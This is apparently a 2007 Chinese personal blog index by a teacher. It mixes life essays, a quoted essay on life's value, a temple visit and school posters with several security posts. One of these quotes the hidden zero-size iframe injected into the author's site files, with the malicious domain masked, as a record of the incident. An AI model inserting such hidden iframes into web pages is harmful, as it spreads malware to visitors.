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生活与工作闲谈
作者:soosi 日期:2007-03-20
昨夜，送一同事去医院看病，等候之时正接到了一同学的“诉苦”电话：心情不好。
嗯，在生活中，每个人总会有遇到不顺心的时候——或为生计，或为感情，或为工作。甚至是，在心情烦躁的时候你会越发觉得什么都是不顺心不顺眼的。
想起了白岩松的观点：在人的一生中，幸福和痛苦都只占5%，余下的就是平淡的生活。他的平淡生活中包含着三大要素：音乐、足球、心理调节。他迷恋摇滚乐，爱听马勒的交响作品，他把足球比喻成摆在桌上的米饭，他的心理调节是“特好的时候要有危机感，特差的时候也要能够平静下来，想想，前面还有好事等着我呢。”
他完全没有把工作的任何因子迁入到生活的概念里。
每个人都应该有自己的生活，我也一直都不主张整天把工作和生活合在一起。无奈的是，在自己的职业圈子里，办公桌上和饭桌上同事们讨论的话题似乎总离不开工作，似乎生活中完全没有烦恼了要找工作中原本繁琐的东西来凑数一样。
在很多人看来，人的一生中不顺心的所占比重或许还多过于顺心的，所谓“不如意事常八九,可与语人无二三”。因而，学会如何调节自我，如何淡看生活中的得失，还真是很重要的事情。
嗯，在生活中，每个人总会有遇到不顺心的时候——或为生计，或为感情，或为工作。甚至是，在心情烦躁的时候你会越发觉得什么都是不顺心不顺眼的。
想起了白岩松的观点：在人的一生中，幸福和痛苦都只占5%，余下的就是平淡的生活。他的平淡生活中包含着三大要素：音乐、足球、心理调节。他迷恋摇滚乐，爱听马勒的交响作品，他把足球比喻成摆在桌上的米饭，他的心理调节是“特好的时候要有危机感，特差的时候也要能够平静下来，想想，前面还有好事等着我呢。”
他完全没有把工作的任何因子迁入到生活的概念里。
每个人都应该有自己的生活，我也一直都不主张整天把工作和生活合在一起。无奈的是，在自己的职业圈子里，办公桌上和饭桌上同事们讨论的话题似乎总离不开工作，似乎生活中完全没有烦恼了要找工作中原本繁琐的东西来凑数一样。
在很多人看来，人的一生中不顺心的所占比重或许还多过于顺心的，所谓“不如意事常八九,可与语人无二三”。因而，学会如何调节自我，如何淡看生活中的得失，还真是很重要的事情。
心灵的虔诚者——沉思于道观佛堂前
作者:soosi 日期:2007-03-19
素闻黄旗山上有道观和古庙，一直想去。
也跟楚约了好几次，今日周末，两人恰好有空，终于成行。
没有什么，只是期图找寻一个可以让自己心灵宁静的地方，来去除一些由这个繁闹浮华的城市以及忙乱庸碌的生活而带来的浮躁——哪怕知道这个期图或许也只能是一个期图而已。
虽则之前一次出游途中也曾去过一道观，但亦然对道教知之甚少——似乎仅仅知道它是我国土生土长的宗教这一点了。对于老庄的道家思想以及作为文化传统的华夏古代礼乐文明等常识概念也所剩无几，实在是羞愧于自己的无知了。幸好有专修历史学的楚同行，还可在参观途中咨询一二。
鲁迅先生说过：“中国的根柢全在道教”。身为社会民众之渺小一分子，今日来到道观，却没能有更内在的宗教情愫，因为自己对于道教这一尊老子为教主奉为神明、以《道德经》为主要经典并对之作宗教性解释的教派，确实了解有限。因而，在虔诚叩拜之余，更多的或许也只是一次文化参观而已了。
也跟楚约了好几次，今日周末，两人恰好有空，终于成行。
没有什么，只是期图找寻一个可以让自己心灵宁静的地方，来去除一些由这个繁闹浮华的城市以及忙乱庸碌的生活而带来的浮躁——哪怕知道这个期图或许也只能是一个期图而已。
虽则之前一次出游途中也曾去过一道观，但亦然对道教知之甚少——似乎仅仅知道它是我国土生土长的宗教这一点了。对于老庄的道家思想以及作为文化传统的华夏古代礼乐文明等常识概念也所剩无几，实在是羞愧于自己的无知了。幸好有专修历史学的楚同行，还可在参观途中咨询一二。
鲁迅先生说过：“中国的根柢全在道教”。身为社会民众之渺小一分子，今日来到道观，却没能有更内在的宗教情愫，因为自己对于道教这一尊老子为教主奉为神明、以《道德经》为主要经典并对之作宗教性解释的教派，确实了解有限。因而，在虔诚叩拜之余，更多的或许也只是一次文化参观而已了。
冬の恋曲¤同沙（9张PP）
作者:soosi 日期:2007-03-10
谈人生价值——朱光潜
作者:soosi 日期:2007-03-05
【寒假期间，闷在家中，翻起了最近一期的读者，第一篇摘的朱光潜先生的《谈人生价值》短文，读后深受鼓舞，特转摘入SOOSI空间，希冀能给自己的心灵也再添上一份鸡汤。】
每个人都不免有一个理想，或为温饱，或为名位，或为学问，或为德行，或为事功，或为醇酒妇人，或为斗鸡走狗，所谓“从其大体者为大人，从其小体者为小人”。这种分别究竟以什么为标准呢？哲学家们都承认：人生最高目的是幸福。什么才是真正的幸福？对于这问题也各有各的见解。积学修德可被看成幸福，饱食暖衣也可被看成幸福。究竟谁是谁非呢？我们从人的观点来说，人之所以高贵于禽兽者在他的心灵。人如果要充分地表现他的人性，必须充实他的心灵生活。幸福是一种享受。享受者或为肉体，或为心灵。人既有肉体，即不能没有肉体的享受。我们不必如持禁欲主义的清教徒之不近人情，但是我们也须明白：肉体的享受不是人类最上的享受，而是人类与鸡豚狗彘所共有的。人类最上的享受是心灵的享受。哪些才是心灵的享受呢？就是上文所述的真善美三种价值。学问、艺术、道德几无一不是心灵的活动，人如果在这三方面达到最高的境界，同时也就达到最幸福的境界。
一个人的生活是否丰富，这就是说，有无价值，就看他对于心灵或精神生活的努力和成就的大小。如果只顾衣食饱暖而对于真善美漫不感兴趣，他就成为一种行尸走肉了。这番道理本无深文奥义，但是说起来好像很迂阔。灵与肉的冲突本来是一个古老而不易化除的冲突。许多人因顾到肉遂忘记灵，相习成风，心灵生活便被视为怪诞无稽的事。尤其是近代人被“物质的舒适”一个观念所迷惑，大家争着去拜财神，财神也就笼罩了一切。
末了，我希望我们青年人各自及早确定自己一生的使命，自己去寻求自己的终身工作。
每个人都不免有一个理想，或为温饱，或为名位，或为学问，或为德行，或为事功，或为醇酒妇人，或为斗鸡走狗，所谓“从其大体者为大人，从其小体者为小人”。这种分别究竟以什么为标准呢？哲学家们都承认：人生最高目的是幸福。什么才是真正的幸福？对于这问题也各有各的见解。积学修德可被看成幸福，饱食暖衣也可被看成幸福。究竟谁是谁非呢？我们从人的观点来说，人之所以高贵于禽兽者在他的心灵。人如果要充分地表现他的人性，必须充实他的心灵生活。幸福是一种享受。享受者或为肉体，或为心灵。人既有肉体，即不能没有肉体的享受。我们不必如持禁欲主义的清教徒之不近人情，但是我们也须明白：肉体的享受不是人类最上的享受，而是人类与鸡豚狗彘所共有的。人类最上的享受是心灵的享受。哪些才是心灵的享受呢？就是上文所述的真善美三种价值。学问、艺术、道德几无一不是心灵的活动，人如果在这三方面达到最高的境界，同时也就达到最幸福的境界。
一个人的生活是否丰富，这就是说，有无价值，就看他对于心灵或精神生活的努力和成就的大小。如果只顾衣食饱暖而对于真善美漫不感兴趣，他就成为一种行尸走肉了。这番道理本无深文奥义，但是说起来好像很迂阔。灵与肉的冲突本来是一个古老而不易化除的冲突。许多人因顾到肉遂忘记灵，相习成风，心灵生活便被视为怪诞无稽的事。尤其是近代人被“物质的舒适”一个观念所迷惑，大家争着去拜财神，财神也就笼罩了一切。
末了，我希望我们青年人各自及早确定自己一生的使命，自己去寻求自己的终身工作。
每周励志一句之十（年级海报缩略图）期末年前激励
作者:soosi 日期:2007-03-05
本人网站“遭黑”记
作者:soosi 日期:2007-03-05
本人网站“遭黑”记
【问题】
◎2007年2月，回家过年过寒假。忽视了及时定期备份网站的工作。
◎2007年2月28日返校，访问网站每个页面时，卡巴斯基都提示有“Trojan－Downloader.VBS.Small.df”的病毒提示，并且在电子邮箱里也收到了两位网站访客的“病毒举报”。
同日，马上检查，发现：网站内所有asp、txt、xml、asa文件全被加入了“<iframe src=http://www.*****.cn/index.htm width=0 height=0></iframe>”的代码(恶意网站代码用*略去）。。（搜索之后得知一些学校网站或者博客、论坛也曾遭遇过，幸好“框架挂马”还只是“挂马”当中比较简单的方式，挂马后，任何一个页面被访问时都成为了传播病毒的“网马”。）
【惊心动魄】“熊猫烧香”病毒幕后黑手曝光
作者:soosi 日期:2007-02-07
这是一波电脑病毒蔓延的狂潮。在两个多月的时间里，数百万电脑用户被卷将进去，那只憨态可掬、颔首敬香的“熊猫”除而不尽，成为人们噩梦般的记忆。
反病毒工程师们将它命名为“尼姆亚”。它还有一个更通俗的名字———“熊猫烧香”。 它迅速化身数百种，不断入侵个人电脑，感染门户网站，击溃企业数据系统……它的蔓延考问着网络的公共安全，同时引发了一场虚拟世界里“道”与“魔”的较量。反病毒工程师和民间反病毒人士纷纷投身其中。1月19日，一个最新的“熊猫烧香”变种病毒出现。病毒作者宣称，这将是“熊猫烧香”最后一次更新。这场历时两个多月的较量结束了吗？
“蜜罐”中发现病毒
2006年11月14日，中关村瑞星公司总部14楼。
反病毒工程师们将它命名为“尼姆亚”。它还有一个更通俗的名字———“熊猫烧香”。 它迅速化身数百种，不断入侵个人电脑，感染门户网站，击溃企业数据系统……它的蔓延考问着网络的公共安全，同时引发了一场虚拟世界里“道”与“魔”的较量。反病毒工程师和民间反病毒人士纷纷投身其中。1月19日，一个最新的“熊猫烧香”变种病毒出现。病毒作者宣称，这将是“熊猫烧香”最后一次更新。这场历时两个多月的较量结束了吗？
“蜜罐”中发现病毒
2006年11月14日，中关村瑞星公司总部14楼。
twunk32.exe木马的清除指南(出现N个IEXPLORE.EXE进程）
作者:soosi 日期:2007-01-16
最近，发现好多台电脑在没有打开IE的情况下，都出现了N个IEXPLORE.EXE的进程（最多时有9个），中毒无疑。杀毒软件根本是没有反应的。几经查证，终于知道是twunk32.exe这个家伙在搞鬼，于是，修改注册表，安全模式下删除文件。。但是依然。。死灰复燃。。。。在网上搜寻了办法花了一个多星期了，现在终于找到方法了，转载如下：
Trojan-Downloader.Win32.Small.czl分析
病毒标签：
病毒名称： Trojan-Downloader.Win32.Small.czl
病毒类型： 木马
文件 MD5： 2D747C2BAC72A1E87F4DA7F8E7C1E985
Trojan-Downloader.Win32.Small.czl分析
病毒标签：
病毒名称： Trojan-Downloader.Win32.Small.czl
病毒类型： 木马
文件 MD5： 2D747C2BAC72A1E87F4DA7F8E7C1E985
习惯于失去
作者:soosi 日期:2007-01-10
一直很喜欢周国平的这篇《习惯于失去》，很多地方也都有转载过。
也是，如今这个时代，有太多的浮躁与喧嚣，甚至是功利与欲念。一些人或许也过得很进取，很成功，每天每刻都有追求到了别人所没能达到的收获，而同时，也有很多人过得其实很累，内心。
或许，对于一些外在的东西，我们真的无需太执着，豁达些，终会让你的内心感到真正自在。记住《习惯于失去》中的这句劝告吧，“我们在社会上尽可积极进取，但是，内心深处一定要为自己保留一份超脱，我们就能更加从容地品尝人生的各种滋味，其中也包括失去的滋味。”
（soosi）
也是，如今这个时代，有太多的浮躁与喧嚣，甚至是功利与欲念。一些人或许也过得很进取，很成功，每天每刻都有追求到了别人所没能达到的收获，而同时，也有很多人过得其实很累，内心。
或许，对于一些外在的东西，我们真的无需太执着，豁达些，终会让你的内心感到真正自在。记住《习惯于失去》中的这句劝告吧，“我们在社会上尽可积极进取，但是，内心深处一定要为自己保留一份超脱，我们就能更加从容地品尝人生的各种滋味，其中也包括失去的滋味。”
（soosi）
习惯于失去
【新闻】我校高三四楼办公室两教师“入选”全国城运会“吉祥物”
作者:soosi 日期:2007-01-09
每周励志一句之九<2>（年级海报缩略图）期末动员
作者:soosi 日期:2007-01-05
每周励志一句之九<1>（年级海报缩略图）期末动员
作者:soosi 日期:2007-01-05
回到我的home town
作者:soosi 日期:2006-12-29
因为一些事，今天，准备回家了。
该说些什么呢？能说什么呢？我对那片土地实在爱得深沉！
附上家乡盆地的全景图吧，暑假弄的。（原图有分别有17M和12M，缩小为原图大小的1/5，呵呵，显示出来色彩还是失真了，想看最好效果的，到小新office看晒出来装裱好的相片吧）
查看“soosi家乡南口全景缩略图”请点击以下链接：
soosi家乡南口小镇全景缩略图1 以及
soosi家乡南口小镇全景缩略图2
该说些什么呢？能说什么呢？我对那片土地实在爱得深沉！
附上家乡盆地的全景图吧，暑假弄的。（原图有分别有17M和12M，缩小为原图大小的1/5，呵呵，显示出来色彩还是失真了，想看最好效果的，到小新office看晒出来装裱好的相片吧）
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soosi家乡南口小镇全景缩略图1 以及
soosi家乡南口小镇全景缩略图2
